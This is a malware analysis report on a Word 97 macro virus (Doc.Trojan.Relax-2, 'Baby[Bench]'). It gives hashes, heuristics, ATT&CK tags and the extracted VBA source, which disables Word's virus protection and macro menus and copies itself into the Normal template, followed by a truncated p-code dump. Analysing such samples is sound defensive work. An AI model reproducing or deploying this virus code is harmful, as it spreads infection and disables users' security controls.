Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b543af2d6d2e78df…

MALICIOUS

Office (OLE)

27.5 KB Created: 2000-02-25 03:09:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d7106ba6173c8bc9cf949c5468d2c194 SHA-1: be6480237c9461d37db759213fd1160e110623b6 SHA-256: b543af2d6d2e78df70c974bbbcaf40f3801109cfaaeeebb00aaeea730c8c22af
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document, as indicated by the Document_Open heuristic. This macro attempts to disable security features and writes a file named 'c:\WinIO.dll' to the system, likely to execute a second-stage payload. The presence of VBA macros and the Document_Open execution strongly suggest a malicious document, likely delivered via spearphishing.

Heuristics 3

  • ClamAV: Doc.Trojan.Relax-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Relax-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7679 bytes
SHA-256: 3ed10de9ac369aa8c8e232c81c874c0ffea6c3d8918ad04d241f0198d1cadc79
Detection
ClamAV: Doc.Trojan.Relax-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

'Baby[Bench] v2.1
Private CountChar_1 As Integer: Private CountChar_2 As Integer
Private Sub Document_Open()
On Error Resume Next
Kill ("c:\WinIO.dll")
Kill ("c:\Brigl.txt")
Kill ("c:\Ethan.__")
CountChar_1 = ActiveDocument.Characters.Count
Application.Options.ConfirmConversions = False: Application.EnableCancelKey = wdCancelDisabled
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable: FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
CommandBars("Tools").Controls("Macro").Enabled = False
If Application.Version = 9# Then: CommandBars("Macro").Controls("Security...").Enabled = 0
If Application.Version = 8# Then
    With Application.Options: .VirusProtection = False: .SaveNormalPrompt = False: End With
End If
If MacroContainer = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule Else Set Host = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
If MacroContainer = ActiveDocument Then Set Carrier = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule Else Set Carrier = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
Open "c:\WinIO.dll" For Output As 1
For x = 1 To Carrier.CountOfLines: Line = Carrier.Lines(x, 1): Print #1, Line: Next x
Close 1
With Host: .Deletelines 1, .CountOfLines: .AddFromFile ("c:\WinIO.dll"): End With
Kill ("c:\WinIO.dll")
If Hour(Now) = 8 And Minute(Now) = 45 Then
   With Assistant.NewBalloon
       .Icon = msoIconAlert
       .Heading = "Baby[Bench] Millenium"
       .Text = "Phew! I'm just about beat." & vbCr & "It's been a long day! You gotta relax sometime!" & vbCr & vbCr & "Wow! Everything's blurry!"
       .Show
   End With
   ActiveDocument.Content.Font.Animation = wdAnimationShimmer
End If
End Sub
Private Sub Document_Close()
On Error Resume Next
CountChar_2 = ActiveDocument.Characters.Count
If Left$(ActiveDocument.Name, 8) = "Document" And CountChar_2 = 0 And CountChar_1 = 0 Then
ActiveDocument.Saved = True
ElseIf CountChar_1 = CountChar_2 Then ActiveDocument.Save
End If
End Sub

' Processing file: /opt/analyzer/scan_staging/4ebef86fba6a4d3cb43f00bd0ab05d57.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4034 bytes
' Line #0:
' Line #1:
' 	QuoteRem 0x0000 0x0010 "Baby[Bench] v2.1"
' Line #2:
' 	Dim (Private) 
' 	VarDefn CountChar_1 (As Integer)
' 	BoS 0x0000 
' 	Dim (Private) 
' 	VarDefn CountChar_2 (As Integer)
' Line #3:
' 	FuncDefn (Private Sub Document_Open())
' Line #4:
' 	OnError (Resume Next) 
' Line #5:
' 	LitStr 0x000C "c:\WinIO.dll"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #6:
' 	LitStr 0x000C "c:\Brigl.txt"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #7:
' 	LitStr 0x000B "c:\Ethan.__"
' 	Paren 
' 	ArgsCall Kill 0x0001 
' Line #8:
' 	Ld ActiveDocument 
' 	MemLd Characters 
' 	MemLd Count 
' 	St CountChar_1 
' Line #9:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemLd Options 
' 	MemSt ConfirmConversions 
' 	BoS 0x0000 
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #10:
' 	Ld wdKeyF11 
' 	Ld wdKeyAlt 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Disable 0x0000 
' 	BoS 0x0000 
' 	Ld wdKeyF8 
' 	Ld wdKeyAlt 
' 	ArgsLd BuildKeyCode 0x0002 
' 	ArgsLd FindKey 0x0001 
' 	ArgsMemCall Disable 0x0000 
' Line #11:
' 	LitVarSpecial (False)
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #12:
' 	Ld Application 
' 	MemLd Version 
' 	LitR8 0x0000 0x0000 0x0000 0x4022 
' 	Eq 
' 	If 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	LitStr 0x000B "Security..."
' 	LitStr 0x0005 "Macro"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' 	EndIf 
' Line #13:
' 	Ld Application 
' 	MemLd Version 
' 	LitR8 0x0000 0x0000 0x0000 0x
... (truncated)